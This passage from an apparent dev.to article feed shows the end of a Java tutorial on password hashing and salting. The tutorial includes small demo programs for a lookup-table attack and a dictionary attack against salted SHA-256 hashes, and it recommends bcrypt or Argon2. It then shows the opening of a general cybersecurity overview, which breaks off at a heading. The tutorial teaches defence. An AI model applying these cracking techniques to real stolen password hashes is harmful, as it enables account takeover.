        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;digest&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;hex&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;append&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;format&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"%02x"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;));&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;hex&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;toString&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;Exception&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

        &lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;passwords&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s"&gt;"123456"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"password"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"admin"&lt;/span&gt;&lt;span class="o"&gt;};&lt;/span&gt;

        &lt;span class="nc"&gt;Map&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;table&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;HashMap&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;gt;();&lt;/span&gt;

        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;pwd&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;passwords&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;table&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hash&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pwd&lt;/span&gt;&lt;span class="o"&gt;),&lt;/span&gt; &lt;span class="n"&gt;pwd&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;

        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;stolenHash&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;hash&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"password"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;table&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;containsKey&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stolenHash&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"==&amp;gt; Instantly cracked: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;table&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stolenHash&lt;/span&gt;&lt;span class="o"&gt;));&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;👉 No guessing needed — just lookup.&lt;/p&gt;

&lt;h3&gt;
  
  
  🛡️ 4. Why SALT Changes Everything
&lt;/h3&gt;

&lt;h4&gt;
  
  
  4.1 Why SALT is Needed
&lt;/h4&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb7mu7k7wc8jcya3fegjn.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb7mu7k7wc8jcya3fegjn.jpg" alt=" " width="800" height="336"&gt;&lt;/a&gt;&lt;br&gt;
Problem:&lt;br&gt;
&lt;code&gt;password → same hash everywhere&lt;/code&gt;&lt;br&gt;
Solution:&lt;br&gt;
&lt;code&gt;hash(password + salt)&lt;/code&gt;&lt;br&gt;
👉 Makes each hash unique&lt;br&gt;
4.2 SALT Implementation (Java)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kn"&gt;package&lt;/span&gt; &lt;span class="nn"&gt;com.auth&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.security.MessageDigest&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.security.SecureRandom&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.util.Base64&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;SaltedHashDemo&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="nf"&gt;generateSalt&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;salt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="o"&gt;];&lt;/span&gt;
        &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nf"&gt;SecureRandom&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;nextBytes&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;salt&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nc"&gt;Base64&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getEncoder&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;encodeToString&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;salt&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="nf"&gt;hash&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;salt&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;Exception&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="nc"&gt;MessageDigest&lt;/span&gt; &lt;span class="n"&gt;md&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;MessageDigest&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getInstance&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"SHA-256"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;digest&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;md&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;digest&lt;/span&gt;&lt;span class="o"&gt;((&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;salt&lt;/span&gt;&lt;span class="o"&gt;).&lt;/span&gt;&lt;span class="na"&gt;getBytes&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;

        &lt;span class="nc"&gt;StringBuilder&lt;/span&gt; &lt;span class="n"&gt;hex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;StringBuilder&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;digest&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;hex&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;append&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;format&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"%02x"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;));&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;hex&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;toString&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;Exception&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"password"&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;salt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;generateSalt&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;

        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;hashed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;hash&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;salt&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Salt: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;salt&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Hash: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;hashed&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  4.3 How SALT Breaks Rainbow Attacks
&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;password + salt1 → hash1&lt;br&gt;
password + salt2 → hash2&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;👉 Same password ≠ same hash&lt;br&gt;
👉 Rainbow tables become useless&lt;/p&gt;

&lt;h3&gt;
  
  
  🔴 5. Attacker vs SALT
&lt;/h3&gt;

&lt;h4&gt;
  
  
  5.1 Attacking Salted Hashes (Java)
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kn"&gt;package&lt;/span&gt; &lt;span class="nn"&gt;com.auth&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.security.MessageDigest&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;SaltedAttackDemo&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="nf"&gt;hash&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;salt&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;Exception&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="nc"&gt;MessageDigest&lt;/span&gt; &lt;span class="n"&gt;md&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;MessageDigest&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getInstance&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"SHA-256"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;digest&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;md&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;digest&lt;/span&gt;&lt;span class="o"&gt;((&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;salt&lt;/span&gt;&lt;span class="o"&gt;).&lt;/span&gt;&lt;span class="na"&gt;getBytes&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;

        &lt;span class="nc"&gt;StringBuilder&lt;/span&gt; &lt;span class="n"&gt;hex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;StringBuilder&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;digest&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;hex&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;append&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;format&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"%02x"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;));&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;hex&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;toString&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;Exception&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;salt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"randomSalt123"&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;storedHash&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;hash&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"password"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;salt&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;dictionary&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s"&gt;"123456"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"password"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"admin"&lt;/span&gt;&lt;span class="o"&gt;};&lt;/span&gt;

        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;guess&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;dictionary&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hash&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;guess&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;salt&lt;/span&gt;&lt;span class="o"&gt;).&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;storedHash&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
                &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"==&amp;gt; Cracked even with salt: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;guess&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
            &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;👉 Salt does NOT stop guessing — only slows it down.&lt;/p&gt;

&lt;h4&gt;
  
  
  5.2 Cost Explosion
&lt;/h4&gt;

&lt;p&gt;Without salt:&lt;br&gt;
&lt;code&gt;1M guesses → cracks many users&lt;/code&gt;&lt;br&gt;
With salt:&lt;br&gt;
&lt;code&gt;1M users × 1M guesses = 1 trillion operations&lt;/code&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  Source Code
&lt;/h4&gt;

&lt;p&gt;All source files are available on GitHub:&lt;br&gt;
&lt;a href="https://github.com/knowledgebase21st/Software-Engineering/tree/dev/security/attacks/authentication/com/auth" rel="noopener noreferrer"&gt;Github source codes&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;👉 This is where salt becomes powerful.&lt;/p&gt;

&lt;h3&gt;
  
  
  ⚠️ 6. What SALT Does NOT Solve
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Weak passwords (still crackable)&lt;/li&gt;
&lt;li&gt;Fast hashing (SHA-256 is too fast)&lt;/li&gt;
&lt;li&gt;GPU-based attacks&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;👉 SALT makes attacks harder—but not impossible.&lt;br&gt;
Attackers can still:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Perform brute force attacks&lt;/li&gt;
&lt;li&gt;Use GPUs to compute hashes at scale&lt;/li&gt;
&lt;li&gt;Target weak passwords&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is why modern systems go beyond&lt;/p&gt;

&lt;p&gt;🚀 Final Defense: Modern Password Hashing&lt;br&gt;
Use:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/Bcrypt" rel="noopener noreferrer"&gt;bcrypt&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/Argon2" rel="noopener noreferrer"&gt;Argon2&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Why:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Built-in salt&lt;/li&gt;
&lt;li&gt;Slow hashing (costly per attempt)&lt;/li&gt;
&lt;li&gt;Resistant to GPU attacks&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  🧠 7.Conclusion
&lt;/h3&gt;

&lt;p&gt;Authentication security evolves like this:&lt;br&gt;
&lt;code&gt;Plain text → completely broken&lt;br&gt;
Hash only → still vulnerable&lt;br&gt;
Salted hash → better&lt;br&gt;
Salt + slow hashing → strong defense&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;👉 Security is not about making attacks impossible,&lt;br&gt;
👉 It’s about making them economically infeasible.&lt;/p&gt;

&lt;h3&gt;
  
  
  💡 8.Final Thought
&lt;/h3&gt;

&lt;p&gt;Think like an attacker:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Can I guess this password?&lt;/li&gt;
&lt;li&gt;Can I reuse work?&lt;/li&gt;
&lt;li&gt;Can I scale this attack?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Good security doesn’t make attacks impossible—it makes them impractical.&lt;/p&gt;

&lt;p&gt;As a developer, your goal isn’t to stop attackers completely, but to ensure that breaking your system is simply not worth the effort.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>java</category>
      <category>security</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Understanding Common Cybersecurity Attacks: A Practical Overview</title>
      <dc:creator>Sanjay Ghosh</dc:creator>
      <pubDate>Tue, 14 Apr 2026 18:10:37 +0000</pubDate>
      <link>https://dev.to/sanjayghosh/understanding-common-cybersecurity-attacks-a-practical-overview-2mea</link>
      <guid>https://dev.to/sanjayghosh/understanding-common-cybersecurity-attacks-a-practical-overview-2mea</guid>
      <description>&lt;p&gt;Modern applications are more powerful and interconnected than ever—but with that power comes increased exposure to security risks. Whether you're building a small backend service or a large distributed system, &lt;strong&gt;security is no longer optional&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Before diving into specific vulnerabilities, it’s important to understand &lt;strong&gt;why cybersecurity matters&lt;/strong&gt; and how common attacks are structured.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why Cybersecurity Matters in Modern Applications
&lt;/h3&gt;

&lt;h4&gt;
  
  
  🔐 Data Protection &amp;amp; Privacy
&lt;/h4&gt;

&lt;p&gt;Modern applications handle large amounts of sensitive data—personally identifiable information (PII), financial records, and intellectual property. This makes them prime targets for attackers.&lt;/p&gt;

&lt;h4&gt;
  
  
  🏢 Maintaining Trust &amp;amp; Reputation
&lt;/h4&gt;

&lt;p&gt;Users trust applications with their personal and financial data. A single breach can damage reputation, erode customer trust, and lead to significant financial loss.&lt;/p&gt;

&lt;h4&gt;
  
  
  ⚖️ Regulatory Compliance
&lt;/h4&gt;

&lt;p&gt;Organizations must comply with regulations such as GDPR and industry standards. Failing to do so can result in heavy fines and legal consequences.&lt;/p&gt;

&lt;h4&gt;
  
  
  ⚙️ System Integrity &amp;amp; Availability
&lt;/h4&gt;

&lt;p&gt;Security controls such as encryption and access management ensure that systems remain reliable, tamper-proof, and available—even under attack.&lt;/p&gt;

&lt;h4&gt;
  
  
  🚀 Defending Against Sophisticated Threats
&lt;/h4&gt;

&lt;p&gt;As technologies like cloud computing and AI evolve, so do attack techniques—ransomware, phishing, and zero-day exploits are becoming more advanced.&lt;/p&gt;

&lt;h4&gt;
  
  
  🌐 Protecting Interconnected Systems
&lt;/h4&gt;

&lt;p&gt;Modern systems rely heavily on APIs, microservices, and IoT devices. A vulnerability in one component can compromise the entire ecosystem.&lt;/p&gt;

&lt;h3&gt;
  
  
